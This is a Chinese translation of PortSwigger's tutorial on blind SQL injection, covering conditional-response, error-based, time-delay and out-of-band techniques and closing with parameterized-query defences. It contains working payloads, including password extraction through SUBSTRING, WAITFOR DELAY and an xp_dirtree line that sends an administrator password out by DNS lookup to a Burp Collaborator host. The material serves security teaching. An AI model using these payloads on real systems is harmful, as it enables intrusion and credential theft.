SQL注入-盲注
翻译
原文:https://portswigger.net/web-security/sql-injection/blind
- name: 翻译
desc: 原文:https://portswigger.net/web-security/sql-injection/blind
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
更新
官方于 2023-05 新增了教程 “通过详细的SQL错误消息来提取敏感数据” 以及配套的实验室 “基于可见错误的SQL注入” 。
# SQL盲注
在本节中,我们将描述什么是SQL盲注,解释 查找和利用SQL盲注漏洞的各种技术。
# 1什么是SQL盲注?
当应用程序容易受到 SQL 注入的攻击,但它的 HTTP 响应不包含相关 SQL 查询的结果或任何数据库错误的详细信息时,就会出现 SQL 盲注入。
对于 SQL 盲注入漏洞,许多技术(如 UNION 攻击 (opens new window))都是无效的,因为它们依赖于 能够在应用程序的响应中 看到注入查询的结果。但此时 仍然可以利用SQL盲注入来访问未经授权的数据,但必须使用不同的技术。
# 2通过触发条件响应来利用SQL盲注入
考虑某个 通过跟踪 Cookie 来收集有关使用情况分析的应用程序。对应用程序的请求 包括一个如下所示的 cookie 标头:
Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4
当一个包含 TrackingId
Cookie 的请求被处理时,应用程序会使用如下所示的 SQL 查询,来确定此用户是否为已知用户:
SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'
此查询容易受到 SQL 注入的攻击,但是查询的结果不会返回给用户。应用程序的行为确实有所不同,这取决于查询是否返回任何数据。如果它返回数据(因为提交了一个已识别的 TrackingId
),则页面中会显示 “Welcome back” 消息。
此行为足以利用 SQL 盲注漏洞,并根据注入条件,有条件地触发不同的响应来检索信息。若要了解其工作原理,假设发送了两个请求,并包含以下 TrackingId
cookie 值:
…xyz' AND '1'='1
…xyz' AND '1'='2
2
第一个值将导致查询返回结果,因为注入的 AND '1'='1
条件为 true,因此将显示 “Welcome back” 消息。
而第二个值将导致查询不返回任何结果,因为注入的条件为 false,因此不会显示 “Welcome back” 消息。
这使我们能够确定任何单个注入条件的答案,从而每次提取一位数据。
例如,假设有一个名为Users
的表,列为Username
和Password
,用户名为Administrator
。我们可以通过发送一系列输入,每次测试密码的一个字符,从而系统地确定此用户的密码。
要做到这一点,我们从以下输入开始:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm
这将返回 “Welcome back” 消息,表明注入的条件为 true,因此密码的第一个字符 的ASCII码 大于m
的ASCII码。
最后,我们发送以下输入,返回 “Welcome back” 消息,从而确认密码的第一个字符是 s
:
xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's
我们可以继续这个过程,以系统地确定Administrator
用户的完整密码。
笔记
SUBSTRING
函数在某些类型的数据库上称为 SUBSTR
。有关更多详细信息,请参阅 SQL注入备忘单 (opens new window)。
- name: 实验室-从业者
desc: 带有条件响应的SQL盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 3基于错误的SQL注入
基于错误的 SQL 注入是指——能够使用错误消息从数据库中 提取或推断敏感数据 的情况,即使在盲注的情况中也是如此。触发错误的可能性,在很大程度上取决于数据库的配置 以及 你能够触发的错误类型:
- 你可以根据布尔表达式的结果,诱导应用程序返回特定的错误响应。就像我们在上一节中看到的条件响应 (opens new window)一样。有关详细信息,请参阅通过触发条件错误来利用SQL盲注入 (opens new window)。
- 你也许能够触发错误消息,使程序输出所查询的数据。这有效地将原本的盲 SQL 注入漏洞变成了 “可见” 漏洞。有关详细信息,请参阅通过详细的SQL错误消息提取敏感数据 (opens new window)。
# 3.1通过触发SQL错误来诱导条件响应
在前面的示例中,假设应用程序执行相同的 SQL 查询,但不管查询是否返回数据,应用程序都不会做出任何行为。这时,上述技术将不起作用,因为注入不同的布尔条件时,对应用程序的响应没有任何影响。(不能通过响应差异,来判断注入是否成功)
在这种情况下,通常可以通过有条件地触发 SQL 错误(具体取决于注入的条件)来诱使应用程序返回条件响应。
- 这涉及修改查询,以便在条件为 true 时导致数据库错误
- 但如果条件为 false,则不会导致数据库错误。
一般情况下,数据库抛出未经处理的错误,会导致应用程序的响应出现一些差异(例如错误消息),从而使我们能够推断注入条件的真实性。
若要了解其工作原理,假设发送了两个请求,并包含以下TrackingId Cookie
值的请求:
xyz' AND (SELECT CASE WHEN (1=2) THEN 1/0 ELSE 'a' END)='a
xyz' AND (SELECT CASE WHEN (1=1) THEN 1/0 ELSE 'a' END)='a
2
这些输入使用 CASE
关键字来测试条件,并根据表达式是否为 true 返回不同的表达式。
- 对于第一个输入,
CASE
表达式的计算结果为'a'
,这不会导致任何错误。 - 对于第二个输入,它的计算结果为
1/0
,这会导致被零除错误。假设错误导致应用程序的 HTTP 响应存在一些差异,我们可以利用这种差异来推断注入的条件是否为 true。
使用这种技术,我们可以按照上一节描述的方式 来检索数据,系统地一次测试一个字符:
- 如果 Username 等于 Administrator
- 并且 Password 的第一个字符 大于 m
- 则抛出 被零除错误 信息
xyz' AND (SELECT CASE WHEN (Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') THEN 1/0 ELSE 'a' END FROM Users)='a
笔记
触发条件错误的方法多种多样,不同的技术在不同的数据库类型上效果最好。有关更多详细信息,请参阅 SQL注入备忘单 (opens new window)。
- name: 实验室-从业者
desc: 带有条件错误的SQL盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-conditional-errors
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 3.2通过详细的SQL错误消息来提取敏感数据
(译者注:这才是我们常说的报错注入)
数据库配置错误有时会导致出现详细的错误消息。这些可以提供可能对攻击者有用的信息。例如,请考虑以下错误消息,该消息在将单引号注入 id 参数后出现:
数据库的错误配置,有时会导致详细的错误消息。这可能会为攻击者提供有用的信息。例如,假设以下错误消息,该消息在将单引号插入id
参数后出现:
Unterminated string literal started at position 52 in SQL SELECT * FROM tracking WHERE id = '''. Expected char
未终止的字符串文本从 SQL 语句中的位置 52 开始:SELECT * FROM tracking WHERE id = '''. Expected char
2
3
这显示了 应用程序使用我们的输入 构造的完整查询。因此,我们可以看到正在注入的上下文,即WHERE
语句中的单引号字符串。这样可以更轻松地 构造包含恶意负载的有效查询。在这种情况下,如果注释掉查询的其余部分,可以防止多余的单引号破坏语法。
有时,你可以诱使应用程序生成一条错误消息,其中包含查询返回的某些数据。这有效地将原本的盲 SQL 注入漏洞转变为 “可见” 漏洞。
实现此目的的一种方法是使用CAST()
函数,该函数使你能够将一种数据类型 转换为 另一种数据类型。例如,考虑包含以下语句的查询:
CAST((SELECT example_column FROM example_table) AS int)
通常,你读取的数据是一个字符串。当你尝试将其转换为不兼容的数据类型时(如int
),则可能会导致类似于以下内容的错误:
ERROR: invalid input syntax for type integer: "Example data"
ERROR:整数类型的输入语法无效:“示例数据”
2
3
在查询的字符遭到限制,而无法触发条件响应的情况下,可以尝试改为这种类型的查询,这可能很有用。
- name: 实验室-从业者
desc: 基于可见错误的SQL注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-sql-injection-visible-error-based
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 4通过触发时间延迟来利用SQL盲注入
在前面的示例中,假设应用程序现在捕获数据库错误并正常处理它们。
在执行注入的 SQL 查询时,触发数据库错误将不会导致应用程序的响应有任何差异,因此前面的诱导条件错误的技术将不起作用。
在这种情况下,通常可以根据注入条件,有条件地触发时间延迟来利用 SQL 盲注漏洞。由于 SQL 查询通常由应用程序同步处理,因此延迟 SQL 查询的执行也会延迟HTTP响应。这使我们能够根据接收到 HTTP 响应所花费的时间推断注入条件的真实性。
触发时间延迟的技术,高度特定于所使用的数据库类型。在 Microsoft SQL Server 上,如下所示的输入可用于测试条件并触发延迟,具体取决于表达式是否为 true:
'; IF (1=2) WAITFOR DELAY '0:0:10'--
'; IF (1=1) WAITFOR DELAY '0:0:10'--
2
第一个输入不会触发延迟,因为条件1=2
为 false 。
第二个输入将触发10秒的延迟,因为条件1=1
为 true 。
使用这种技术,我们可以系统地测试每一个字符,以前面描述的方式检索数据:
'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--
笔记
在 SQL 查询中触发时间延迟的方法多种多样,不同的技术适用于不同类型的数据库。有关更多详细信息,请参阅SQL注入备忘单 (opens new window)。
- name: 实验室-从业者
desc: 带有时间延迟的SQL盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-time-delays
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
- name: 实验室-从业者
desc: 带有时间延迟和信息检索的SQL盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-time-delays-info-retrieval
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 5使用带外技术(OAST)利用SQL盲注入
现在,假设应用程序执行相同的 SQL 查询,但执行异步查询。
应用程序继续在原始线程中处理用户的请求,并使用另一个线程跟踪 Cookie 并执行 SQL 查询,查询仍然容易受到 SQL 注入的影响。
但是到目前为止,描述的任何技术都不起作用:
- 应用程序的响应 不依赖于查询是否返回任何数据,
- 也不取决于是否发生数据库错误,
- 也不取决于执行查询所花费的时间。
在这种情况下,一般可以通过触发与你控制的系统的带外网络交互来利用 SQL 盲注入漏洞。与前面一样,可以根据注入的语句有条件地触发,每次推断一个字符的信息。但更强大的是,数据可以在网络交互本身中直接泄露。
各种网络协议可用于此目的,但通常最有效的是 DNS(域名服务)。这是因为许多生产网络允许 DNS 查询流量的自由出入,因为它们对于生产系统的正常运行至关重要。
使用带外技术最简单、最可靠的方法,是使用 Burp Collaborator (opens new window)
。这是一个服务器,它提供各种网络服务(包括 DNS)的自定义实现,并允许你检测 由于向易受攻击的应用程序发送单个有效负载 而发生的网络交互。对 Burp Collaborator (opens new window)
的支持内置于 Burp Suite Professional (opens new window)
(BurpSuite 专业版) 中,无需配置。
触发 DNS 查询的技术,高度特定于所使用的数据库类型。在 Microsoft SQL Server
上,如下所示的输入可用于在指定域上进行 DNS 查找:
'; exec master..xp_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--
这将导致数据库对以下域执行查找:
0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net
你可以使用 Burp Collaborator (opens new window)
生成唯一的子域,并轮询 Collaborator 服务器
以确认何时发生 DNS 查找。
- name: 实验室-从业者
desc: 带外交互的 SQL 盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
当确认目标存在 SQL 盲注漏洞,并触发了带外交互的方法后,就可以使用带外通道从易受攻击的应用程序中泄露数据,例如:
''; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
该输入读取Administrator
用户的密码,附加唯一的 Collaborator 子域,并触发 DNS 查找。这将导致 DNS 域查询,如下所示,允许你查看捕获的密码:
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net
带外(OAST)技术是检测和利用 SQL 盲注入的一种强大方法,因为它的成功性很高,并且能够直接在带外通道中泄漏数据。
出于这个原因,OAST 技术通常是更可取的,即使在 其他盲注技术可以工作的情况下 也是如此。
笔记
触发带外交互的方法多种多样,不同的技术 适用于 不同类型的数据库。有关更多细节,请参阅SQL注入备忘单 (opens new window)。
- name: 实验室-从业者
desc: 带外数据泄露的 SQL 盲注入 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/sql-injection/blind/lab-out-of-band-data-exfiltration
bgColor: '#001350'
textColor: '#4cc1ff'
2
3
4
5
6
# 6如何防止SQL盲注攻击?
尽管发现和利用 SQL 盲注入漏洞,所需的技术与常规SQL注入不同,而且更为复杂,但无论漏洞是否为盲注,防止 SQL 注入所需的措施都是相同的。
与常规 SQL 注入一样,可以通过谨慎使用参数化查询,来防止 SQL 盲注入攻击,从而确保用户输入不会干扰预期 SQL 查询的结构。